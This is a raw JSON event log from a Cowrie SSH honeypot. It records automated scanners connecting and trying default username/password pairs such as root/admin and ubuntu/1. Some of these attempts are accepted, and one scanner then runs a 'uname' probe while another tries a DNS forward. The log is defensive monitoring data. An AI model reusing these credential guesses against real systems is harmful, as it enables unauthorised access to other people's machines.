{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:51.844008Z","src_ip":"45.153.34.114","session":"385fc7967802","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:52.198677Z","src_ip":"45.153.34.114","session":"385fc7967802","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:52.409751Z","src_ip":"45.153.34.114","session":"385fc7967802","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:52.413385Z","src_ip":"45.153.34.114","session":"385fc7967802","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:52.504961Z","src_ip":"45.153.34.114","session":"385fc7967802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:52.510409Z","src_ip":"45.153.34.114","session":"385fc7967802","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":9396,"dst_ip":"10.17.0.5","dst_port":22,"session":"0754d6ab86f8","protocol":"ssh","message":"New connection: 87.251.64.176:9396 (10.17.0.5:22) [session: 0754d6ab86f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:56.013191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:56.018392Z","src_ip":"87.251.64.176","session":"0754d6ab86f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:56.116789Z","src_ip":"87.251.64.176","session":"0754d6ab86f8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:56.405937Z","src_ip":"87.251.64.176","session":"0754d6ab86f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:56.505963Z","session":"0754d6ab86f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:56.644215Z","src_ip":"87.251.64.176","session":"0754d6ab86f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:56.743821Z","src_ip":"87.251.64.176","session":"0754d6ab86f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39092,"dst_ip":"159.203.135.109","dst_port":22,"session":"14e4a2d1ecfe","protocol":"ssh","message":"New connection: 45.153.34.114:39092 (159.203.135.109:22) [session: 14e4a2d1ecfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:59.809077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:59.813622Z","src_ip":"45.153.34.114","session":"14e4a2d1ecfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:02:59.896417Z","src_ip":"45.153.34.114","session":"14e4a2d1ecfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:00.153121Z","src_ip":"45.153.34.114","session":"14e4a2d1ecfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:01.248200Z","src_ip":"45.153.34.114","session":"14e4a2d1ecfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.143079042434692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:03.132318Z","src_ip":"74.91.213.120","session":"21b3bf9f04d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39102,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e0039861738","protocol":"ssh","message":"New connection: 45.153.34.114:39102 (159.203.135.109:22) [session: 8e0039861738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:08.037741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:08.043090Z","src_ip":"45.153.34.114","session":"8e0039861738","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:08.451667Z","src_ip":"45.153.34.114","session":"8e0039861738","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:08.709175Z","src_ip":"45.153.34.114","session":"8e0039861738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:09.797145Z","src_ip":"45.153.34.114","session":"8e0039861738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40412,"dst_ip":"159.203.135.109","dst_port":22,"session":"59a27d1f01d7","protocol":"ssh","message":"New connection: 45.153.34.114:40412 (159.203.135.109:22) [session: 59a27d1f01d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:16.299888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:16.304901Z","src_ip":"45.153.34.114","session":"59a27d1f01d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:16.388102Z","src_ip":"45.153.34.114","session":"59a27d1f01d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:16.637784Z","src_ip":"45.153.34.114","session":"59a27d1f01d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:17.730179Z","src_ip":"45.153.34.114","session":"59a27d1f01d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41972,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7306bcc2524","protocol":"ssh","message":"New connection: 45.153.34.114:41972 (159.203.135.109:22) [session: f7306bcc2524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:24.294870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:24.299021Z","src_ip":"45.153.34.114","session":"f7306bcc2524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:24.383165Z","src_ip":"45.153.34.114","session":"f7306bcc2524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:24.645527Z","src_ip":"45.153.34.114","session":"f7306bcc2524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:25.744648Z","src_ip":"45.153.34.114","session":"f7306bcc2524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46686,"dst_ip":"159.203.135.109","dst_port":22,"session":"f42df866e75f","protocol":"ssh","message":"New connection: 45.153.34.114:46686 (159.203.135.109:22) [session: f42df866e75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:32.320343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:32.325391Z","src_ip":"45.153.34.114","session":"f42df866e75f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:32.413915Z","src_ip":"45.153.34.114","session":"f42df866e75f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:32.824407Z","src_ip":"45.153.34.114","session":"f42df866e75f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:33.914276Z","src_ip":"45.153.34.114","session":"f42df866e75f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46674,"dst_ip":"159.203.135.109","dst_port":22,"session":"b33097e084e7","protocol":"ssh","message":"New connection: 45.153.34.114:46674 (159.203.135.109:22) [session: b33097e084e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:40.461633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:40.466184Z","src_ip":"45.153.34.114","session":"b33097e084e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:03:40.626218Z","src_ip":"45.153.34.114","session":"b33097e084e7","protocol":"ssh"}
